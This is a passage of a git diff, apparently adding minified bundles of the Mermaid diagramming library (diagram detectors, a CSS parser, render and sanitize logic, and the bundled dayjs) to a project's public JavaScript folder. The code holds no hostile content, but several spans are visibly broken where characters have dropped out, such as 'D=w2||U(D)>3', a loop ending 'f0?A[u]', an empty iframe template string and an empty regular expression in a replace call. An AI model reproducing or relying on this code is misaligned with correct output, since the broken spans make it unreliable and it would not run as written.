text"),o.append("text").attr("class","error-text").attr("x",1250).attr("y",400).attr("font-size","100px").style("text-anchor","middle").text(`mermaid version ${a}`)},"draw"),Et={draw:Ca},Sr=Et;var Ra={db:{},renderer:Et,parser:{parse:r(()=>{},"parse")}},Mr=Ra;var Ar="flowchart-elk",ka=r((t,e={})=>/^\s*flowchart-elk/.test(t)||/^\s*(flowchart|graph)/.test(t)&&e?.flowchart?.defaultRenderer==="elk"?(e.layout="elk",!0):!1,"detector"),ja=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Ar,diagram:t}},"loader"),Oa={id:Ar,detector:ka,loader:ja},Tr=Oa;var Cr="timeline",Pa=r(t=>/^\s*timeline/.test(t),"detector"),Fa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/timeline-definition-DZOEFOHF.mjs");return{id:Cr,diagram:t}},"loader"),Ia={id:Cr,detector:Pa,loader:Fa},Rr=Ia;var kr="mindmap",_a=r(t=>/^\s*mindmap/.test(t),"detector"),Ga=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/mindmap-definition-ZYHNXUZP.mjs");return{id:kr,diagram:t}},"loader"),za={id:kr,detector:_a,loader:Ga},jr=za;var Or="kanban",Va=r(t=>/^\s*kanban/.test(t),"detector"),$a=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/kanban-definition-D5DEDDHO.mjs");return{id:Or,diagram:t}},"loader"),Na={id:Or,detector:Va,loader:$a},Pr=Na;var Fr="sankey",Ha=r(t=>/^\s*sankey(-beta)?/.test(t),"detector"),Ua=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/sankeyDiagram-XSL23WO4.mjs");return{id:Fr,diagram:t}},"loader"),qa={id:Fr,detector:Ha,loader:Ua},Ir=qa;var _r="packet",Ba=r(t=>/^\s*packet(-beta)?/.test(t),"detector"),Ya=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-BZV4OSZQ.mjs");return{id:_r,diagram:t}},"loader"),Gr={id:_r,detector:Ba,loader:Ya};var zr="radar",Xa=r(t=>/^\s*radar-beta/.test(t),"detector"),Wa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-DKYQLJNW.mjs");return{id:zr,diagram:t}},"loader"),Vr={id:zr,detector:Xa,loader:Wa};var $r="block",Ka=r(t=>/^\s*block(-beta)?/.test(t),"detector"),Qa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/blockDiagram-BWRZOBD3.mjs");return{id:$r,diagram:t}},"loader"),Ja={id:$r,detector:Ka,loader:Qa},Nr=Ja;var Hr="architecture",Za=r(t=>/^\s*architecture/.test(t),"detector"),ti=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/architectureDiagram-4X3Z3J56.mjs");return{id:Hr,diagram:t}},"loader"),ri={id:Hr,detector:Za,loader:ti},Ur=ri;var qr="treemap",ei=r(t=>/^\s*treemap/.test(t),"detector"),ai=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-LL6QPXA2.mjs");return{id:qr,diagram:t}},"loader"),Br={id:qr,detector:ei,loader:ai};var Yr=!1,$=r(()=>{Yr||(Yr=!0,z("error",Mr,t=>t.toLowerCase().trim()==="error"),z("---",{db:{clear:r(()=>{},"clear")},styles:{},renderer:{draw:r(()=>{},"draw")},parser:{parse:r(()=>{throw new Error("Diagrams beginning with --- are not valid. If you were trying to use a YAML front-matter, please ensure that you've correctly opened and closed the YAML front-matter with un-indented `---` blocks")},"parse")},init:r(()=>null,"init")},t=>t.toLowerCase().trimStart().startsWith("---")),W(Tr,jr,Ur),W(Xt,Pr,xr,Dr,Zt,ar,or,nr,fr,lr,Jt,Kt,Rr,rr,Lr,Er,vr,cr,Ir,Gr,pr,Nr,Vr,Br))},"addDiagrams");var Xr=r(async()=>{g.debug("Loading registered diagrams");let e=(await Promise.allSettled(Object.entries(X).map(async([a,{detector:i,loader:o}])=>{if(o)try{K(a)}catch{try{let{diagram:n,id:m}=await o();z(m,n,i)}catch(n){throw g.error(`Failed to load external diagram with key ${a}. Removing from detectors.`),delete X[a],n}}}))).filter(a=>a.status==="rejected");if(e.length>0){g.error(`Failed to load ${e.length} external diagrams`);for(let a of e)g.error(a);throw new Error(`Failed to load ${e.length} external diagrams`)}},"loadRegisteredDiagrams");var et="comm",at="rule",it="decl";var Wr="@import";var Kr="@namespace",Qr="@keyframes";var Jr="@layer";var wt=Math.abs,Q=String.fromCharCode;function ot(t){return t.trim()}r(ot,"trim");function J(t,e,a){return t.replace(e,a)}r(J,"replace");function Zr(t,e,a){return t.indexOf(e,a)}r(Zr,"indexof");function P(t,e){return t.charCodeAt(e)|0}r(P,"charat");function F(t,e,a){return t.slice(e,a)}r(F,"substr");function h(t){return t.length}r(h,"strlen");function te(t){return t.length}r(te,"sizeof");function N(t,e){return e.push(t),t}r(N,"append");var nt=1,H=1,re=0,w=0,D=0,q="";function st(t,e,a,i,o,n,m,s){return{value:t,root:e,parent:a,type:i,props:o,children:n,line:nt,column:H,length:m,return:"",siblings:s}}r(st,"node");function ee(){return D}r(ee,"char");function ae(){return D=w>0?P(q,--w):0,H--,D===10&&(H=1,nt--),D}r(ae,"prev");function L(){return D=w2||U(D)>3?"":" "}r(ne,"whitespace");function se(t,e){for(;--e&&L()&&!(D<48||D>102||D>57&&D<65||D>70&&D<97););return ct(t,Z()+(e<6&&j()==32&&L()==32))}r(se,"escaping");function Lt(t){for(;L();)switch(D){case t:return w;case 34:case 39:t!==34&&t!==39&&Lt(D);break;case 40:t===41&&Lt(t);break;case 92:L();break}return w}r(Lt,"delimiter");function ce(t,e){for(;L()&&t+D!==57;)if(t+D===84&&j()===47)break;return"/*"+ct(e,w-1)+"*"+Q(t===47?t:L())}r(ce,"commenter");function me(t){for(;!U(j());)L();return ct(t,w)}r(me,"identifier");function fe(t){return oe(pt("",null,null,null,[""],t=ie(t),0,[0],t))}r(fe,"compile");function pt(t,e,a,i,o,n,m,s,c){for(var l=0,y=0,p=m,x=0,A=0,b=0,f=1,C=1,v=1,u=0,S="",R=o,T=n,E=i,d=S;C;)switch(b=u,u=L()){case 40:if(b!=108&&P(d,p-1)==58){Zr(d+=J(mt(u),"&","&\f"),"&\f",wt(l?s[l-1]:0))!=-1&&(v=-1);break}case 34:case 39:case 91:d+=mt(u);break;case 9:case 10:case 13:case 32:d+=ne(b);break;case 92:d+=se(Z()-1,7);continue;case 47:switch(j()){case 42:case 47:N(ii(ce(L(),Z()),e,a,c),c),(U(b||1)==5||U(j()||1)==5)&&h(d)&&F(d,-1,void 0)!==" "&&(d+=" ");break;default:d+="/"}break;case 123*f:s[l++]=h(d)*v;case 125*f:case 59:case 0:switch(u){case 0:case 125:C=0;case 59+y:v==-1&&(d=J(d,/\f/g,"")),A>0&&(h(d)-p||f===0&&b===47)&&N(A>32?de(d+";",i,a,p-1,c):de(J(d," ","")+";",i,a,p-2,c),c);break;case 59:d+=";";default:if(N(E=pe(d,e,a,l,y,o,s,S,R=[],T=[],p,n),n),u===123)if(y===0)pt(d,e,E,E,R,n,p,s,T);else{switch(x){case 99:if(P(d,3)===110)break;case 108:if(P(d,2)===97)break;default:y=0;case 100:case 109:case 115:}y?pt(t,E,E,i&&N(pe(t,E,E,0,0,o,s,S,o,R=[],p,T),T),o,T,p,s,i?R:T):pt(d,E,E,E,[""],T,0,s,T)}}l=y=A=0,f=v=1,S=d="",p=m;break;case 58:p=1+h(d),A=b;default:if(f<1){if(u==123)--f;else if(u==125&&f++==0&&ae()==125)continue}switch(d+=Q(u),u*f){case 38:v=y>0?1:(d+="\f",-1);break;case 44:s[l++]=(h(d)-1)*v,v=1;break;case 64:j()===45&&(d+=mt(L())),x=j(),y=p=h(S=d+=me(Z())),u++;break;case 45:b===45&&h(d)==2&&(f=0)}}return n}r(pt,"parse");function pe(t,e,a,i,o,n,m,s,c,l,y,p){for(var x=o-1,A=o===0?n:[""],b=te(A),f=0,C=0,v=0;f0?A[u]+" "+S:J(S,/&\f/g,A[u])))&&(c[v++]=R);return st(t,e,a,o===0?at:s,c,l,y,p)}r(pe,"ruleset");function ii(t,e,a,i){return st(t,e,a,et,Q(ee()),F(t,2,-2),0,i)}r(ii,"comment");function de(t,e,a,i,o){return st(t,e,a,it,F(t,0,i),F(t,i+1,-1),i,o)}r(de,"declaration");function dt(t,e){for(var a="",i=0;i{De.forEach(t=>{t()}),De=[]},"attachFunctions");var xe=r(t=>t.replace(/^\s*%%(?!{)[^\n]+\n?/gm,"").trimStart(),"cleanupComments");function he(t){let e=t.match(Ft);if(!e)return{text:t,metadata:{}};let a=qt(e[1],{schema:Ut})??{};a=typeof a=="object"&&!Array.isArray(a)?a:{};let i={};return a.displayMode&&(i.displayMode=a.displayMode.toString()),a.title&&(i.title=a.title.toString()),a.config&&(i.config=a.config),{text:t.slice(e[0].length),metadata:i}}r(he,"extractFrontMatter");var si=r(t=>t.replace(/\r\n?/g,` +`).replace(/<(\w+)([^>]*)>/g,(e,a,i)=>"<"+a+i.replace(/="([^"]*)"/g,"='$1'")+">"),"cleanupText"),ci=r(t=>{let{text:e,metadata:a}=he(t),{displayMode:i,title:o,config:n={}}=a;return i&&(n.gantt||(n.gantt={}),n.gantt.displayMode=i),{title:o,config:n,text:e}},"processFrontmatter"),mi=r(t=>{let e=V.detectInit(t)??{},a=V.detectDirective(t,"wrap");return Array.isArray(a)?e.wrap=a.some(({type:i})=>i==="wrap"):a?.type==="wrap"&&(e.wrap=!0),{text:Vt(t),directive:e}},"processDirectives");function bt(t){let e=si(t),a=ci(e),i=mi(a.text),o=$t(a.config,i.directive);return t=xe(i.text),{code:t,title:a.title,config:o}}r(bt,"preprocessDiagram");function Ee(t){let e=new TextEncoder().encode(t),a=Array.from(e,i=>String.fromCodePoint(i)).join("");return btoa(a)}r(Ee,"toBase64");var pi=5e4,di="graph TB;a[Maximum text size in diagram exceeded];style a fill:#faa",fi="sandbox",gi="loose",li="http://www.w3.org/2000/svg",ui="http://www.w3.org/1999/xlink",Di="http://www.w3.org/1999/xhtml",yi="100%",xi="100%",hi="border:0;margin:0;",Ei="margin:0",wi="allow-top-navigation-by-user-activation allow-popups",Li='The "iframe" tag is not supported by your browser.',bi=["foreignobject"],vi=["dominant-baseline"];function ve(t){let e=bt(t);return Y(),Rt(e.config??{}),e}r(ve,"processAndSetConfigs");async function Si(t,e){$();try{let{code:a,config:i}=ve(t);return{diagramType:(await Se(a)).type,config:i}}catch(a){if(e?.suppressErrors)return!1;throw a}}r(Si,"parse");var we=r((t,e,a=[])=>` +.${t} ${e} { ${a.join(" !important; ")} !important; }`,"cssImportantStyles"),Mi=r((t,e=new Map)=>{let a="";if(t.themeCSS!==void 0&&(a+=` +${t.themeCSS}`),t.fontFamily!==void 0&&(a+=` +:root { --mermaid-font-family: ${t.fontFamily}}`),t.altFontFamily!==void 0&&(a+=` +:root { --mermaid-alt-font-family: ${t.altFontFamily}}`),e instanceof Map){let m=t.htmlLabels??t.flowchart?.htmlLabels?["> *","span"]:["rect","polygon","ellipse","circle","path"];e.forEach(s=>{xt(s.styles)||m.forEach(c=>{a+=we(s.id,c,s.styles)}),xt(s.textStyles)||(a+=we(s.id,"tspan",(s?.textStyles||[]).map(c=>c.replace("color","fill"))))})}return a},"createCssStyles"),Ai=r((t,e,a,i)=>{let o=Mi(t,a),n=zt(e,o,t.themeVariables);return dt(fe(`${i}{${n}}`),ge)},"createUserStyles"),Ti=r((t="",e,a)=>{let i=t;return!a&&!e&&(i=i.replace(/marker-end="url\([\d+./:=?A-Za-z-]*?#/g,'marker-end="url(#')),i=Ht(i),i=i.replace(/
/g,"
"),i},"cleanUpSvgCode"),Ci=r((t="",e)=>{let a=e?.viewBox?.baseVal?.height?e.viewBox.baseVal.height+"px":xi,i=Ee(`${t}`);return``},"putIntoIFrame"),Le=r((t,e,a,i,o)=>{let n=t.append("div");n.attr("id",a),i&&n.attr("style",i);let m=n.append("svg").attr("id",e).attr("width","100%").attr("xmlns",li);return o&&m.attr("xmlns:xlink",o),m.append("g"),t},"appendDivSvgG");function be(t,e){return t.append("iframe").attr("id",e).attr("style","width: 100%; height: 100%;").attr("sandbox","")}r(be,"sandboxedIframe");var Ri=r((t,e,a,i)=>{t.getElementById(e)?.remove(),t.getElementById(a)?.remove(),t.getElementById(i)?.remove()},"removeExistingElements"),ki=r(async function(t,e,a){$();let i=ve(e);e=i.code;let o=G();g.debug(o),e.length>(o?.maxTextSize??pi)&&(e=di);let n="#"+t,m="i"+t,s="#"+m,c="d"+t,l="#"+c,y=r(()=>{let gt=k(x?s:l).node();gt&&"remove"in gt&>.remove()},"removeTempElements"),p=k("body"),x=o.securityLevel===fi,A=o.securityLevel===gi,b=o.fontFamily;if(a!==void 0){if(a&&(a.innerHTML=""),x){let M=be(k(a),m);p=k(M.nodes()[0].contentDocument.body),p.node().style.margin=0}else p=k(a);Le(p,t,c,`font-family: ${b}`,ui)}else{if(Ri(document,t,c,m),x){let M=be(k("body"),m);p=k(M.nodes()[0].contentDocument.body),p.node().style.margin=0}else p=k("body");Le(p,t,c)}let f,C;try{f=await B.fromText(e,{title:i.title})}catch(M){if(o.suppressErrorRendering)throw y(),M;f=await B.fromText("error"),C=M}let v=p.select(l).node(),u=f.type,S=v.firstChild,R=S.firstChild,T=f.renderer.getClasses?.(e,f),E=Ai(o,u,T,n),d=document.createElement("style");d.innerHTML=E,S.insertBefore(d,R);try{await f.renderer.draw(e,t,ht.version,f)}catch(M){throw o.suppressErrorRendering?y():Sr.draw(e,t,ht.version),M}let ke=p.select(`${l} svg`),je=f.db.getAccTitle?.(),Oe=f.db.getAccDescription?.();Oi(u,ke,je,Oe),p.select(`[id="${t}"]`).selectAll("foreignobject > *").attr("xmlns",Di);let _=p.select(l).node().innerHTML;if(g.debug("config.arrowMarkerAbsolute",o.arrowMarkerAbsolute),_=Ti(_,x,jt(o.arrowMarkerAbsolute)),x){let M=p.select(l+" svg").node();_=Ci(_,M)}else A||(_=kt.sanitize(_,{ADD_TAGS:bi,ADD_ATTR:vi,HTML_INTEGRATION_POINTS:{foreignobject:!0}}));if(ye(),C)throw C;return y(),{diagramType:u,svg:_,bindFunctions:f.db.bindFunctions}},"render");function ji(t={}){let e=St({},t);e?.fontFamily&&!e.themeVariables?.fontFamily&&(e.themeVariables||(e.themeVariables={}),e.themeVariables.fontFamily=e.fontFamily),At(e),e?.theme&&e.theme in tt?e.themeVariables=tt[e.theme].getThemeVariables(e.themeVariables):e&&(e.themeVariables=tt.default.getThemeVariables(e.themeVariables));let a=typeof e=="object"?Mt(e):Dt();lt(a.logLevel),$()}r(ji,"initialize");var Se=r((t,e={})=>{let{code:a}=bt(t);return B.fromText(a,e)},"getDiagramFromText");function Oi(t,e,a,i){le(e,t),ue(e,a,i,e.attr("id"))}r(Oi,"addA11yInfo");var I=Object.freeze({render:ki,parse:Si,getDiagramFromText:Se,initialize:ji,getConfig:G,setConfig:Ct,getSiteConfig:Dt,updateSiteConfig:Tt,reset:r(()=>{Y()},"reset"),globalReset:r(()=>{Y(ut)},"globalReset"),defaultConfig:ut});lt(G().logLevel);Y(G());var Pi=r((t,e,a)=>{g.warn(t),yt(t)?(a&&a(t.str,t.hash),e.push({...t,message:t.str,error:t})):(a&&a(t),t instanceof Error&&e.push({str:t.message,message:t.message,hash:t.name,error:t}))},"handleError"),Me=r(async function(t={querySelector:".mermaid"}){try{await Fi(t)}catch(e){if(yt(e)&&g.error(e.str),O.parseError&&O.parseError(e),!t.suppressErrors)throw g.error("Use the suppressErrors option to suppress these errors"),e}},"run"),Fi=r(async function({postRenderCallback:t,querySelector:e,nodes:a}={querySelector:".mermaid"}){let i=I.getConfig();g.debug(`${t?"":"No "}Callback function found`);let o;if(a)o=a;else if(e)o=document.querySelectorAll(e);else throw new Error("Nodes and querySelector are both undefined");g.debug(`Found ${o.length} diagrams`),i?.startOnLoad!==void 0&&(g.debug("Start On Load: "+i?.startOnLoad),I.updateSiteConfig({startOnLoad:i?.startOnLoad}));let n=new V.InitIDGenerator(i.deterministicIds,i.deterministicIDSeed),m,s=[];for(let c of Array.from(o)){g.info("Rendering diagram: "+c.id);if(c.getAttribute("data-processed"))continue;c.setAttribute("data-processed","true");let l=`mermaid-${n.next()}`;m=c.innerHTML,m=Pt(V.entityDecode(m)).trim().replace(//gi,"
");let y=V.detectInit(m);y&&g.debug("Detected early reinit: ",y);try{let{svg:p,bindFunctions:x}=await Re(l,m,c);c.innerHTML=p,t&&await t(l),x&&x(c)}catch(p){Pi(p,s,O.parseError)}}if(s.length>0)throw s[0]},"runThrowsErrors"),Ae=r(function(t){I.initialize(t)},"initialize"),Ii=r(async function(t,e,a){g.warn("mermaid.init is deprecated. Please use run instead."),t&&Ae(t);let i={postRenderCallback:a,querySelector:".mermaid"};typeof e=="string"?i.querySelector=e:e&&(e instanceof HTMLElement?i.nodes=[e]:i.nodes=e),await Me(i)},"init"),_i=r(async(t,{lazyLoad:e=!0}={})=>{$(),W(...t),e===!1&&await Xr()},"registerExternalDiagrams"),Te=r(function(){if(O.startOnLoad){let{startOnLoad:t}=I.getConfig();t&&O.run().catch(e=>g.error("Mermaid failed to initialize",e))}},"contentLoaded");if(typeof document<"u"){window.addEventListener("load",Te,!1)}var Gi=r(function(t){O.parseError=t},"setParseErrorHandler"),ft=[],vt=!1,Ce=r(async()=>{if(!vt){for(vt=!0;ft.length>0;){let t=ft.shift();if(t)try{await t()}catch(e){g.error("Error executing queue",e)}}vt=!1}},"executeQueue"),zi=r(async(t,e)=>new Promise((a,i)=>{let o=r(()=>new Promise((n,m)=>{I.parse(t,e).then(s=>{n(s),a(s)},s=>{g.error("Error parsing",s),O.parseError?.(s),m(s),i(s)})}),"performCall");ft.push(o),Ce().catch(i)}),"parse"),Re=r((t,e,a)=>new Promise((i,o)=>{let n=r(()=>new Promise((m,s)=>{I.render(t,e,a).then(c=>{m(c),i(c)},c=>{g.error("Error parsing",c),O.parseError?.(c),s(c),o(c)})}),"performCall");ft.push(n),Ce().catch(o)}),"render"),Vi=r(()=>Object.keys(X).map(t=>({id:t})),"getRegisteredDiagramsMetadata"),O={startOnLoad:!0,mermaidAPI:I,parse:zi,render:Re,init:Ii,run:Me,registerExternalDiagrams:_i,registerLayoutLoaders:Bt,initialize:Ae,parseError:void 0,contentLoaded:Te,setParseErrorHandler:Gi,detectType:rt,registerIconPacks:Ot,getRegisteredDiagramsMetadata:Vi},Xs=O;export{Xs as default}; +/*! Check if previously processed */ +/*! + * Wait for document loaded before starting the execution + */ diff --git a/public-clearnet/js/mermaid.min.js b/public-clearnet/js/mermaid.min.js new file mode 100644 index 0000000..0f033c7 --- /dev/null +++ b/public-clearnet/js/mermaid.min.js @@ -0,0 +1,2811 @@ +"use strict";var __esbuild_esm_mermaid_nm;(__esbuild_esm_mermaid_nm||={}).mermaid=(()=>{var V3e=Object.create;var _y=Object.defineProperty;var U3e=Object.getOwnPropertyDescriptor;var H3e=Object.getOwnPropertyNames;var q3e=Object.getPrototypeOf,W3e=Object.prototype.hasOwnProperty;var o=(t,e)=>_y(t,"name",{value:e,configurable:!0});var N=(t,e)=>()=>(t&&(e=t(t=0)),e);var Da=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),dr=(t,e)=>{for(var r in e)_y(t,r,{get:e[r],enumerable:!0})},q4=(t,e,r,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let i of H3e(e))!W3e.call(t,i)&&i!==r&&_y(t,i,{get:()=>e[i],enumerable:!(n=U3e(e,i))||n.enumerable});return t},Lr=(t,e,r)=>(q4(t,e,"default"),r&&q4(r,e,"default")),ja=(t,e,r)=>(r=t!=null?V3e(q3e(t)):{},q4(e||!t||!t.__esModule?_y(r,"default",{value:t,enumerable:!0}):r,t)),Y3e=t=>q4(_y({},"__esModule",{value:!0}),t);var X3e,y0,t7,Uz,W4=N(()=>{"use strict";X3e=Object.freeze({left:0,top:0,width:16,height:16}),y0=Object.freeze({rotate:0,vFlip:!1,hFlip:!1}),t7=Object.freeze({...X3e,...y0}),Uz=Object.freeze({...t7,body:"",hidden:!1})});var j3e,Hz,qz=N(()=>{"use strict";W4();j3e=Object.freeze({width:null,height:null}),Hz=Object.freeze({...j3e,...y0})});var r7,Y4,Wz=N(()=>{"use strict";r7=o((t,e,r,n="")=>{let i=t.split(":");if(t.slice(0,1)==="@"){if(i.length<2||i.length>3)return null;n=i.shift().slice(1)}if(i.length>3||!i.length)return null;if(i.length>1){let l=i.pop(),u=i.pop(),h={provider:i.length>0?i[0]:n,prefix:u,name:l};return e&&!Y4(h)?null:h}let a=i[0],s=a.split("-");if(s.length>1){let l={provider:n,prefix:s.shift(),name:s.join("-")};return e&&!Y4(l)?null:l}if(r&&n===""){let l={provider:n,prefix:"",name:a};return e&&!Y4(l,r)?null:l}return null},"stringToIcon"),Y4=o((t,e)=>t?!!((e&&t.prefix===""||t.prefix)&&t.name):!1,"validateIconName")});function Yz(t,e){let r={};!t.hFlip!=!e.hFlip&&(r.hFlip=!0),!t.vFlip!=!e.vFlip&&(r.vFlip=!0);let n=((t.rotate||0)+(e.rotate||0))%4;return n&&(r.rotate=n),r}var Xz=N(()=>{"use strict";o(Yz,"mergeIconTransformations")});function n7(t,e){let r=Yz(t,e);for(let n in Uz)n in y0?n in t&&!(n in r)&&(r[n]=y0[n]):n in e?r[n]=e[n]:n in t&&(r[n]=t[n]);return r}var jz=N(()=>{"use strict";W4();Xz();o(n7,"mergeIconData")});function Kz(t,e){let r=t.icons,n=t.aliases||Object.create(null),i=Object.create(null);function a(s){if(r[s])return i[s]=[];if(!(s in i)){i[s]=null;let l=n[s]&&n[s].parent,u=l&&a(l);u&&(i[s]=[l].concat(u))}return i[s]}return o(a,"resolve"),(e||Object.keys(r).concat(Object.keys(n))).forEach(a),i}var Qz=N(()=>{"use strict";o(Kz,"getIconsTree")});function Zz(t,e,r){let n=t.icons,i=t.aliases||Object.create(null),a={};function s(l){a=n7(n[l]||i[l],a)}return o(s,"parse"),s(e),r.forEach(s),n7(t,a)}function i7(t,e){if(t.icons[e])return Zz(t,e,[]);let r=Kz(t,[e])[e];return r?Zz(t,e,r):null}var Jz=N(()=>{"use strict";jz();Qz();o(Zz,"internalGetIconData");o(i7,"getIconData")});function a7(t,e,r){if(e===1)return t;if(r=r||100,typeof t=="number")return Math.ceil(t*e*r)/r;if(typeof t!="string")return t;let n=t.split(K3e);if(n===null||!n.length)return t;let i=[],a=n.shift(),s=Q3e.test(a);for(;;){if(s){let l=parseFloat(a);isNaN(l)?i.push(a):i.push(Math.ceil(l*e*r)/r)}else i.push(a);if(a=n.shift(),a===void 0)return i.join("");s=!s}}var K3e,Q3e,eG=N(()=>{"use strict";K3e=/(-?[0-9.]*[0-9]+[0-9.]*)/g,Q3e=/^-?[0-9.]*[0-9]+[0-9.]*$/g;o(a7,"calculateSize")});function Z3e(t,e="defs"){let r="",n=t.indexOf("<"+e);for(;n>=0;){let i=t.indexOf(">",n),a=t.indexOf("",a);if(s===-1)break;r+=t.slice(i+1,a).trim(),t=t.slice(0,n).trim()+t.slice(s+1)}return{defs:r,content:t}}function J3e(t,e){return t?""+t+""+e:e}function tG(t,e,r){let n=Z3e(t);return J3e(n.defs,e+n.content+r)}var rG=N(()=>{"use strict";o(Z3e,"splitSVGDefs");o(J3e,"mergeDefsAndContent");o(tG,"wrapSVGContent")});function s7(t,e){let r={...t7,...t},n={...Hz,...e},i={left:r.left,top:r.top,width:r.width,height:r.height},a=r.body;[r,n].forEach(y=>{let v=[],x=y.hFlip,b=y.vFlip,T=y.rotate;x?b?T+=2:(v.push("translate("+(i.width+i.left).toString()+" "+(0-i.top).toString()+")"),v.push("scale(-1 1)"),i.top=i.left=0):b&&(v.push("translate("+(0-i.left).toString()+" "+(i.height+i.top).toString()+")"),v.push("scale(1 -1)"),i.top=i.left=0);let S;switch(T<0&&(T-=Math.floor(T/4)*4),T=T%4,T){case 1:S=i.height/2+i.top,v.unshift("rotate(90 "+S.toString()+" "+S.toString()+")");break;case 2:v.unshift("rotate(180 "+(i.width/2+i.left).toString()+" "+(i.height/2+i.top).toString()+")");break;case 3:S=i.width/2+i.left,v.unshift("rotate(-90 "+S.toString()+" "+S.toString()+")");break}T%2===1&&(i.left!==i.top&&(S=i.left,i.left=i.top,i.top=S),i.width!==i.height&&(S=i.width,i.width=i.height,i.height=S)),v.length&&(a=tG(a,'',""))});let s=n.width,l=n.height,u=i.width,h=i.height,f,d;s===null?(d=l===null?"1em":l==="auto"?h:l,f=a7(d,u/h)):(f=s==="auto"?u:s,d=l===null?a7(f,h/u):l==="auto"?h:l);let p={},m=o((y,v)=>{e5e(v)||(p[y]=v.toString())},"setAttr");m("width",f),m("height",d);let g=[i.left,i.top,u,h];return p.viewBox=g.join(" "),{attributes:p,viewBox:g,body:a}}var e5e,nG=N(()=>{"use strict";W4();qz();eG();rG();e5e=o(t=>t==="unset"||t==="undefined"||t==="none","isUnsetKeyword");o(s7,"iconToSVG")});function o7(t,e=r5e){let r=[],n;for(;n=t5e.exec(t);)r.push(n[1]);if(!r.length)return t;let i="suffix"+(Math.random()*16777216|Date.now()).toString(16);return r.forEach(a=>{let s=typeof e=="function"?e(a):e+(n5e++).toString(),l=a.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");t=t.replace(new RegExp('([#;"])('+l+')([")]|\\.[a-z])',"g"),"$1"+s+i+"$3")}),t=t.replace(new RegExp(i,"g"),""),t}var t5e,r5e,n5e,iG=N(()=>{"use strict";t5e=/\sid="(\S+)"/g,r5e="IconifyId"+Date.now().toString(16)+(Math.random()*16777216|0).toString(16),n5e=0;o(o7,"replaceIDs")});function l7(t,e){let r=t.indexOf("xlink:")===-1?"":' xmlns:xlink="http://www.w3.org/1999/xlink"';for(let n in e)r+=" "+n+'="'+e[n]+'"';return'"+t+""}var aG=N(()=>{"use strict";o(l7,"iconToHTML")});var sG=N(()=>{"use strict";Wz();Jz();nG();iG();aG()});var c7,Rn,v0=N(()=>{"use strict";c7=o((t,e,{depth:r=2,clobber:n=!1}={})=>{let i={depth:r,clobber:n};return Array.isArray(e)&&!Array.isArray(t)?(e.forEach(a=>c7(t,a,i)),t):Array.isArray(e)&&Array.isArray(t)?(e.forEach(a=>{t.includes(a)||t.push(a)}),t):t===void 0||r<=0?t!=null&&typeof t=="object"&&typeof e=="object"?Object.assign(t,e):e:(e!==void 0&&typeof t=="object"&&typeof e=="object"&&Object.keys(e).forEach(a=>{typeof e[a]=="object"&&(t[a]===void 0||typeof t[a]=="object")?(t[a]===void 0&&(t[a]=Array.isArray(e[a])?[]:{}),t[a]=c7(t[a],e[a],{depth:r-1,clobber:n})):(n||typeof t[a]!="object"&&typeof e[a]!="object")&&(t[a]=e[a])}),t)},"assignWithDepth"),Rn=c7});var X4=Da((u7,h7)=>{"use strict";(function(t,e){typeof u7=="object"&&typeof h7<"u"?h7.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs=e()})(u7,(function(){"use strict";var t=1e3,e=6e4,r=36e5,n="millisecond",i="second",a="minute",s="hour",l="day",u="week",h="month",f="quarter",d="year",p="date",m="Invalid Date",g=/^(\d{4})[-/]?(\d{1,2})?[-/]?(\d{0,2})[Tt\s]*(\d{1,2})?:?(\d{1,2})?:?(\d{1,2})?[.:]?(\d+)?$/,y=/\[([^\]]+)]|Y{1,4}|M{1,4}|D{1,2}|d{1,4}|H{1,2}|h{1,2}|a|A|m{1,2}|s{1,2}|Z{1,2}|SSS/g,v={name:"en",weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),ordinal:o(function(E){var D=["th","st","nd","rd"],_=E%100;return"["+E+(D[(_-20)%10]||D[_]||D[0])+"]"},"ordinal")},x=o(function(E,D,_){var O=String(E);return!O||O.length>=D?E:""+Array(D+1-O.length).join(_)+E},"m"),b={s:x,z:o(function(E){var D=-E.utcOffset(),_=Math.abs(D),O=Math.floor(_/60),M=_%60;return(D<=0?"+":"-")+x(O,2,"0")+":"+x(M,2,"0")},"z"),m:o(function E(D,_){if(D.date()<_.date())return-E(_,D);var O=12*(_.year()-D.year())+(_.month()-D.month()),M=D.clone().add(O,h),P=_-M<0,B=D.clone().add(O+(P?-1:1),h);return+(-(O+(_-M)/(P?M-B:B-M))||0)},"t"),a:o(function(E){return E<0?Math.ceil(E)||0:Math.floor(E)},"a"),p:o(function(E){return{M:h,y:d,w:u,d:l,D:p,h:s,m:a,s:i,ms:n,Q:f}[E]||String(E||"").toLowerCase().replace(/s$/,"")},"p"),u:o(function(E){return E===void 0},"u")},T="en",S={};S[T]=v;var w="$isDayjsObject",k=o(function(E){return E instanceof I||!(!E||!E[w])},"S"),A=o(function E(D,_,O){var M;if(!D)return T;if(typeof D=="string"){var P=D.toLowerCase();S[P]&&(M=P),_&&(S[P]=_,M=P);var B=D.split("-");if(!M&&B.length>1)return E(B[0])}else{var F=D.name;S[F]=D,M=F}return!O&&M&&(T=M),M||!O&&T},"t"),C=o(function(E,D){if(k(E))return E.clone();var _=typeof D=="object"?D:{};return _.date=E,_.args=arguments,new I(_)},"O"),R=b;R.l=A,R.i=k,R.w=function(E,D){return C(E,{locale:D.$L,utc:D.$u,x:D.$x,$offset:D.$offset})};var I=(function(){function E(_){this.$L=A(_.locale,null,!0),this.parse(_),this.$x=this.$x||_.x||{},this[w]=!0}o(E,"M");var D=E.prototype;return D.parse=function(_){this.$d=(function(O){var M=O.date,P=O.utc;if(M===null)return new Date(NaN);if(R.u(M))return new Date;if(M instanceof 